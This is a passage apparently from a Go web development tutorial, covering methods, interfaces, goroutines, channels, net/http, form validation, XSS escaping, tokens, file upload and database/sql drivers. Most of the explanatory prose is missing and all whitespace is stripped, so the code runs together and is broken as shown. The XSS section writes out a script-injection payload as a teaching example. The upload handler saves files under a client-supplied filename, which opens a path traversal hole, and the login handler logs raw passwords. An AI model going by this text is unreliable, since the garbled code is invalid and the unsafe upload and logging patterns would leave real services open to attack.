fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}
method
methodmethodmethodmethod.struct
2.9structmethod
methodarea()RectangleCircleReceiverRectangleCirclearea()Rectangle/Circle
method
methodstructstructstructstruct
typetypeNametypeLiteral
typeagesint
typemoneyfloat32
typemonthsmap[string]int
m:=months{"January":31,"February":28,..."December":31,}
Ctypedefagesint
method
method
packagemainimport"fmt"
const(WHITE=iotaBLACKBLUEREDYELLOW)
typeColorbyte
typeBoxstruct{width,height,depthfloat64colorColor
}
typeBoxList[]Box//asliceofboxes
func(bBox)Volume()float64{returnb.width*b.height*b.depth}
func(b*Box)SetColor(cColor){b.color=c}
func(blBoxList)BiggestColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifbv:=b.Volume();bv>v{v=bvk=b.color}}returnk}
func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}
func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}
funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},}
fmt.Printf("Wehave%dboxesinourset\n",len(boxes))
fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestColor().String())
fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())
fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestColor().String())}
const
Colorbytestruct:Boxslice:BoxListBox
method
Volume()BoxBoxSetColor(cColor)BoxcBiggestColor()BoxListlistPaintItBlack()BoxListBoxString()ColorColor
receiver
SetColorreceiverBox*BoxBox
SetColorBoxBoxSetColorBoxBoxBox
receiver
SetColor *b.Color=cb.Color=c
GoGoGo
PointItBlackSetColor (&bl[i]).SetColor(BLACK)SetColorreceiver*BoxBox
Goreceiver
receiver*TTV&V
receiverT TP P
GoC/C++
method
Gomethodsturct
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstring}
typeEmployeestruct{
Human//companystring}
//humanfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
method
EmployeeSayHiEmployee
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstring}
typeEmployeestruct{Human//companystring}
//Humanmethodfunc(h*Human)SayHi(){
fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//EmployeemethodHumanmethodfunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Yesyoucansplitinto2lineshere.}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
Go
Go
links
: struct: interface
2.6interface
interface
Gointerfaceinterface
interface
interfacemethodinterface
StudentEmployeeSayHi sayhi
StudentEmployee SingStudentBorrowMoneyEmployeeSpendSalary
StudentSayHiSingBorrowMoneyEmployeeSayHiSingSpendSalary
interfaceStudentEmployeeStudentEmployeeinterfaceSayHiSinginterfaceEmployeeinterfaceSayHiSingBorrowMoneyEmployeeBorrowMoney
interface
interface
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//Humanschoolstringloanfloat32}
typeEmployeestruct{Human//Humancompanystringmoneyfloat32}
//HumanSayHifunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
//HumanSingfunc(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}
//HumanGuzzlefunc(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}
//EmployeeHumanSayHifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//}
//StudentBorrowMoneyfunc(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(againandagainand...)}
//EmployeeSpendSalaryfunc(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Morevodkaplease!!!Getmethroughtheday!}
//interfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}
typeYoungChapinterface{SayHi()Sing(songstring)BorrowMoney(amountfloat32)}
typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)
}
interfaceMeninterfaceHumanStudentEmployeeStudentMenYoungChapinterface
interfaceinterface{}0interface
interface
interfaceinterfaceinterfaceMeninterfacemmHumanStudentEmployee
mMenslicesliceMensliceslice
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//schoolstringloanfloat32}
typeEmployeestruct{Human//companystringmoneyfloat32}
//HumanSayHifunc(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)
}
//HumanSingfunc(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}
//EmployeeHumanSayHifunc(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)}
//InterfaceMenHuman,StudentEmployee//typeMeninterface{SayHi()Sing(lyricsstring)}
funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Tom",37,"222-444-XXX"},"ThingsLtd.",5000}
//MenivariMen
//iStudenti=mikefmt.Println("ThisisMike,aStudent:")i.SayHi()i.Sing("Novemberrain")
//iEmployeei=tomfmt.Println("ThisisTom,anEmployee:")i.SayHi()i.Sing("Borntobewild")
//sliceMen
fmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//x[0],x[1],x[2]=paul,sam,mike
for_,value:=rangex{value.SayHi()}}
interfaceinterfaceGointerfaceduck-typing""
interface
interface(interface{})interfaceinterfaceCvoid*
//avarainterface{}variint=5s:="Helloworld"//aa=ia=s
interface{}interface{}
interface
interfaceinterfaceinterface
fmt.Printlnfmt
typeStringerinterface{String()string}
Stringfmt.Println
packagemainimport("fmt""strconv")
typeHumanstruct{namestringageintphonestring}
//Humanfmt.Stringerfunc(hHuman)String()string{return"❰"+h.name+"-"+strconv.Itoa(h.age)+"years-✆"+h.phone+"❱"}
funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}
BoxColorStringfmt.StringerinterfacefmtStringerfmt
//fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())
errorError()stringfmtError()String()
interface
interfaceinterface
Comma-ok
Govalue,ok=element.(T),valueokboolelementinterfaceT
elementToktruefalse
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
//Stringfmt.Stringerfunc(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}
forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{
fmt.Println("list[%d]isofadifferenttype",index)}}}
if
ifelseswitch
switch
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
//func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}
forindex,element:=rangelist{switchvalue:=element.(type){
caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:fmt.Println("list[%d]isofadifferenttype",index)}}}
element.(type)switchswitch comma-ok
interface
GoStructinterfaceinterface1interface2interface2interface1
container/heap
typeInterfaceinterface{sort.Interface//sort.InterfacePush(xinterface{})//aPushmethodtopushelementsintotheheapPop()interface{}//aPopelementsthatpopselementsfromtheheap}
sort.Interfacesort.Interface
typeInterfaceinterface{//Lenisthenumberofelementsinthecollection.Len()int//Lessreturnswhethertheelementwithindexishouldsort
//beforetheelementwithindexj.Less(i,jint)bool//Swapswapstheelementswithindexesiandj.Swap(i,jint)}
ioio.ReadWriterioReaderWriterinterface
//io.ReadWritertypeReadWriterinterface{ReaderWriter}
Goreflectreflect lawsofreflection
reflectreflectreflect.Typereflect.Value
t:=reflect.TypeOf(i)//t
v:=reflect.ValueOf(i)//v
reflectreflect
tag:=t.Elem().Field(0).Tag//structname:=v.Elem().Field(0).String()//
reflect
varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())
fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())
varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)
varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)
links
::
2.7Go21CGo21Go
goroutine
goroutineGogoroutinegoroutine5,6Gogoroutinegoroutine4~5KBgoroutinethread
goroutineGoruntimegoroutine go
gohello(a,b,c)
gogoroutine
packagemain
import("fmt""runtime")
funcsay(sstring){fori:=0;i<5;i++{runtime.Gosched()fmt.Println(s)}}
funcmain(){gosay("world")//Goroutinessay("hello")//Goroutines}
////hello//world//hello//world//hello//world//hello//world//hello
gogoroutine
runtime.Gosched()CPUgoroutine
runtime.GOMAXPROCS(n)GOMAXPROCSn<1GoRobhttp://concur.rspace.googlecode.com/hg/talk/concur.html#landing-
slide
channels
goroutinegoroutineGoUnixshellchannelmakechannel
ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})
channel<-
ch<-v//vchannelchv:=<-ch//chv
packagemain
import"fmt"
funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}
funcmain(){a:=[]int{7,2,8,-9,4,0}
c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc
fmt.Println(x,y,x+y)}
channelGoroutineslockvalue:=<-chch<-5channelgoroutine
BufferedChannels
channelGochannelchannelch:=make(chanbool,4)boolchannelchannel4goroutinechannel
ch:=make(chantype,value)
value==0!value>0! value
value
packagemain
import"fmt"
funcmain(){c:=make(chanint,2)//21 23c<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}
Range Close
cGorangeslicemapchannel
packagemain
import("fmt")
funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{c<-xx,y=y,x+y}close(c)}
funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}
fori:=rangecchannelchannelchannel closechannelchannel v,ok:=<-chchannelokfalsechannel
channelpanic
channelrange
Select
channelchannelGo select selectchannel
selectchannelchannelselect
packagemain
import"fmt"
funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")return}}}
funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}
selectdefault selectswitchdefaultchannelselectchannel
select{casei:=<-c://useidefault://c}
goroutineselect
funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}
runtimegoroutine
runtimegoroutine
Goexit
goroutinedefer
Gosched
goroutine
NumCPU
CPU
NumGoroutine
GOMAXPROCS
CPU
links
: interface:
2.8GoGo
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
varconst2.2Gopackageimportfuncreturndefergoselectinterface2.6struct2.5breakcasecontinueforfallthroughelseifswitchgotodefault2.3
chanchannel
TCP/IPTCPHTTPHTTP""HTML
HTTP
URL DNS
URLURL
URL(UniformResourceLocator)""
scheme://host[:port#]/path/.../[?query-string][#anchor]schemehttp,https,ftphostHTTPIPport#HTTP80http://www.cnblogs.com:8080/
pathquery-stringhttpanchor
DNS(DomainNameSystem)""TCP/IPIPDNS
3.2DNS
DNSDNS
1. www.qq.comhostsIP
2. hostsDNS
3. hostsDNSTCP/IPDNSDNS
4. DNSURLIP
5. DNSDNSDNS"DNS"
()xxxxxxyyxxyy
IPIP
HTTP
HTTPWebWebHTTP
HTTPWeb()InternetTCPTCP80--HTTPHTTP""HTTP
HTTPHTTPWebCookie
HTTPTCPTCPHTTPSYNFloodDoSDdoSTCPTCPCPU
HTTP
RequestRequest3RequestlineRequestheaderbodyheaderbody
GET/domains/example/HTTP/1.1//RUIHTTP/
Hostwww.iana.org //User-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//Accepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//mimeAccept-Encodinggzip,deflate,sdch //Accept-CharsetUTF- 8,*;q=0.5//////POST
HTTPGET,POST,PUT,DELETEURLHTTPGET,POST,PUT,DELETEGETPOSTGET/POST
fiddler
3.4fiddlerGET
3.5fiddlerPOST
GETPOST
1. GETPOST2. GETURL?URL&EditPosts.aspx?name=test1&id=12345
POSTHTTPBody3. GETURLPOST4. GETGETURL
HTTP
HTTPresponse
HTTP/1.1200OK//Server:nginx/1.0.8//WEB
Date:Date:Tue,30Oct201204:14:25GMT//Content-Type:text/html//Transfer-Encoding:chunked//HTTP
Connection:keep-alive//Content-Length:90////<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//
HTTP
HTTPHTTPResponseHTTP/1.13
1XX -2XX -3XX -4XX -5XX -
200302responseheader
HTTP Connection:keep-alive
HTTPHTTPTCPHTTPUDP
HTTP/1.1Keep-AliveHTTPTCPTCP
Keep-AliveApache
3.7requestresponse
URLgo
URLhtmlHTMLHTMLDOMcssjsHTTP
HTTPcssjs
links
: Web: GOWeb
3.2Go WebWebhttpGonet/httphttpWebWebcookie
http Web
packagemain
import("fmt""net/http""strings""log")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//fmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}
funcmain(){http.HandleFunc("/",sayhelloName)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}
buildweb.exe9090http
http://localhost:9090
Helloastaxie!
http://localhost:9090/?url_long=111&url_long=222
3.8Web
Webhttp
PHPnginxapachetcpnginxsayhelloNamephpcontroller
PythontornadoGoPythonWeb
RubyROR/script/server
GowebWebGoWeb
links
: Web: Goweb
3.3Go WebGoWebnet/httpGoGoWebWeb
web
Requestpostgetcookieurl
Response
Conn
Handler
http
GoWeb
3.9http
1. ListenSocket
2. ListenSocketClientSocketClientSocket
3. ClientSocketHTTPPOSThandlerhandlerClientSocket
GoWeb
handler
Go ListenAndServeserver net.Listen("tcp",addr)TCP
GohttpHTTP
func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}
srv.Serve(net.Listener) for{}ListenerConngoroutineconn goc.serve()goroutine
connrequest c.readRequest()handler handler:=sh.srv.HandlerListenAndServenil handler=DefaultServeMux
urlhandler
/url"/"sayhelloNameDefaultServeMuxServeHTTPsayhelloNameresponse
3.10http
GoWeb
links
: GOweb: Gohttp
3.4Go httpGoWebhttp
GohttpConnServeMux
Conn goroutine
httpGogoroutinesConnGo
Go
c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()
ConnConnhandlerhandlerhandler
ServeMux
conn.serverhttp
typeServeMuxstruct{musync.RWMutex//
mmap[string]muxEntry//stringmuxstring
hostsbool//host}
muxEntry
typemuxEntrystruct{explicitbool//hHandler//handlerpatternstring//}
Handler
typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//}
Handler sayhelloNameServeHTTPhttp HandlerFuncsayhelloNameHandlerFuncServeHTTPHandlerFunc(f)f
HandlerFuncfServeHTTP
typeHandlerFuncfunc(ResponseWriter,*Request)
//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}
ServeHTTP
func(mux*ServeMux)ServeHTTP(wResponseWriter,r*Request){ifr.RequestURI=="*"{w.Header().Set("Connection","close")w.WriteHeader(StatusBadRequest)return}h,_:=mux.Handler(r)h.ServeHTTP(w,r)}
* mux.handler(r).ServeHTTP(w,r)Handler h.ServeHTTP(w,r)
handlerServerHTTPmux.Handler(r)
func(mux*ServeMux)Handler(r*Request)(hHandler,patternstring){ifr.Method!="CONNECT"{ifp:=cleanPath(r.URL.Path);p!=r.URL.Path{_,pattern=mux.handler(r.Host,p)returnRedirectHandler(p,StatusMovedPermanently),pattern}}returnmux.handler(r.Host,r.URL.Path)}
func(mux*ServeMux)handler(host,pathstring)(hHandler,patternstring){mux.mu.RLock()defermux.mu.RUnlock()
//Host-specificpatterntakesprecedenceovergenericonesifmux.hosts{h,pattern=mux.match(host+path)}ifh==nil{h,pattern=mux.match(path)}ifh==nil{h,pattern=NotFoundHandler(),""}return}
URLmaphandlerhandlerServeHTTP
Go ListenAndServe2HandlerHandlerServeHTTP
packagemain
import("fmt""net/http")
typeMyMuxstruct{}
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)return}
funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}
funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}
Go
http
Http.HandleFunc
1DefaultServeMuxHandlerFunc
2DefaultServeMuxHandle
3DefaultServeMuxmap[string]muxEntryhandler
http.ListenAndServe(":9090",nil)
1Server
2ServerListenAndServe()
3net.Listen("tcp",addr)
4forAccept
5Conngoroutinegoc.serve()
6w,err:=c.readRequest()
7handlerhandlerhandlerhandlerDefaultServeMux
8handlerServeHttp
9DefaultServeMux.ServeHttp
10requesthandlerhandlerServeHTTP
mux.handler(r).ServeHTTP(w,r)
11handler
ArequestServerMuxmuxEntry
BhandlerServeHttp
CNotFoundHandlerServeHttp
links
: Goweb:
3.5HTTPDNSgowebservernet/httpserver
GoWebGoWeb
links
: Gohttp:
4WebWebC/C++
\
<form>...input...</form>
GoformRequestformWeb4.1Go4.2
HTTP4.34.4cookie(cookieHTTPHeader
Go4.5Go
links
::
4.1login.gtpl
<html><head><title></title></head><body><formaction="/login"method="post">: <inputtype="text"name="username">: <inputtype="password"name="password"><inputtype="submit"value="" ></form>
</body></html>
/login loginPOSTGET
httpwebloginform
packagemain
import("fmt""html/template""log""net/http""strings")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//urlPOSTrequestbody
//ParseFormfmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")t.Execute(w,nil)}else{//fmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])}}
funcmain(){http.HandleFunc("/",sayhelloName)//http.HandleFunc("/login",login)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}
r.MethodGET,POST,PUTmethod
loginr.MethodGET
http://127.0.0.1:9090/login
4.1
Handlerform r.ParseForm()fmt.Println("username:",r.Form["username"])r.ParseForm()
r.FormURLquery-stringPOSTPUTURLquery-stringPOSTsliceGoPOSTGET
login.gtplformactionhttp://127.0.0.1:9090/loginhttp://127.0.0.1:9090/login?username=astaxieusernameslice
4.1
request.Formurl.Values key=valueform
v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])
Tips:RequestFormValue()r.Form["username"]r.FormValue("username")r.FormValuer.ParseFormr.FormValue
links
::
4.2WebWeb
WebJavaScriptValidationJS
Gobuiltin lenlen
iflen(r.Form["username"][0])==0{//
}
r.Formr.Form r.Form.Get()r.Form.Get()map
5010""""int
int
getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//}
//ifgetint>100{//}
ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{returnfalse}
Go
GoRE2UTF-8
unicode funcIs(rangeTab*RangeTable,rrune)
bool
ifm,_:=regexp.MatchString("^\\p{Han}+$",r.Form.Get("realname"));!m{returnfalse}
astaxieasta:xie
ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}
ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}
ifm,_:=regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`,r.Form.Get("mobile"));!m{returnfalse}
<select>
select
<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banane">banane</option></select>
slice:=[]string{"apple","pear","banane"}
for_,v:=rangeslice{ifv==r.Form.Get("fruit"){returntrue}}returnfalse
15httptelnet123
<inputtype="radio"name="gender"value="1"><inputtype="radio"name="gender"value="2">
slice:=[]int{1,2}
for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse
<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">
slice
slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}
returnfalse
Slice_diffslicemap https://github.com/astaxie/beeku
845
Gotime
t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())
time
1518(1518)
//1515ifm,_:=regexp.MatchString(`^(\d{15})$`,r.Form.Get("usercard"));!m{returnfalse}
//181817Xifm,_:=regexp.MatchString(`^(\d{17})([0-9]|X)$`,r.Form.Get("usercard"));!m{returnfalse}
Go
links
::
4.3
Web""(CrossSiteScriptingXSS)
JavaScriptVBScriptActiveXFlashcookie
XSS
GoGohtml/template
funcHTMLEscape(wio.Writer,b[]byte)//bwfuncHTMLEscapeString(sstring)string//sfuncHTMLEscaper(args...interface{})string//
4.1
fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//
username<script>alert()</script>
4.3Javascript
Gohtml/templatehtml <script>alert()</script>text/template import"text/template"...t,err:=template.New("foo").Parse({{define"T"}}Hello,{{.}}!{{end}})err=t.ExecuteTemplate(out,"T","")
Hello,<script>alert('youhavebeenpwned')</script>!
template.HTML
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))
Hello,<script>alert('youhavebeenpwned')</script>!
template.HTML
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")
Hello,<script>alert('youhavebeenpwned')</script>!
links
::
4.4BBS--
hiddenAjaxjavascript
4.2
<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">:<input type="text"name="username">:<input type="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="" >
tokenhiddenMD5()session
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//r.ParseForm()
token:=r.Form.Get("token")iftoken!=""{//token}else{//token}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//
}}
4.4token
tokenform
links
::
4.5Instagram
form enctype enctype
application/x-www-form-urlencodedmultipart/form-data
text/plain "+"
html
<html><head><title> </title></head><body><formenctype="multipart/form-data"action="http://127.0.0.1:9090/upload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>
handlerFunc
http.HandleFunc("/upload",upload)
///uploadfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)iferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}
r.ParseMultipartForm maxMemory ParseMultipartFormmaxMemory maxMemory r.FormFile io.Copy
r.ParseFormGo ParseMultipartForm
3
1. enctype="multipart/form-data"2. r.ParseMultipartForm
3. r.FormFile
handlermultipart.FileHeader
typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}
4.5
Go
packagemain
import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")
funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)
//
fileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}
//fh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}deferfh.Close()
//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}
contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()
resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}
//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}
multipart.WritehttpPost
usernamemultipartWriteField
links
::
4.6GoGoformGo
links
::
5Web
GobuiltinGodatabase/sql5.1Go5.25.45.5ORMdatabase/sqldatabase/sqlGo
NOSQLWebNOSQL5.6MongoDBRedis2NOSQL
Godatabase/sqltutorial
links
:: database/sql
5.1database/sqlGoPHPGoGo
sql.Register
database/sqlinitinit Register(namestring,driver
driver.Driver)
mymysqlsqlite3
//https://github.com/mattn/go-sqlite3funcinit(){sql.Register("sqlite3",&SQLiteDriver{})}
//https://github.com/mikespook/mymysql//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}
driverdatabase/sqlmap
vardrivers=make(map[string]driver.Driver)
drivers[name]=driver
database/sql
database/sql
import("database/sql"_"github.com/mattn/go-sqlite3")
_Go _
2.3initinitinitinit
driver.Driver
DrivermethodOpen(namestring)Conn
typeDriverinterface{Open(namestring)(Conn,error)}
ConngoroutineConnGogoroutine
...gogoroutineA(Conn)//gogoroutineB(Conn)//...
GogoroutinegoroutineAgoroutineBB
nameConn
driver.Conn
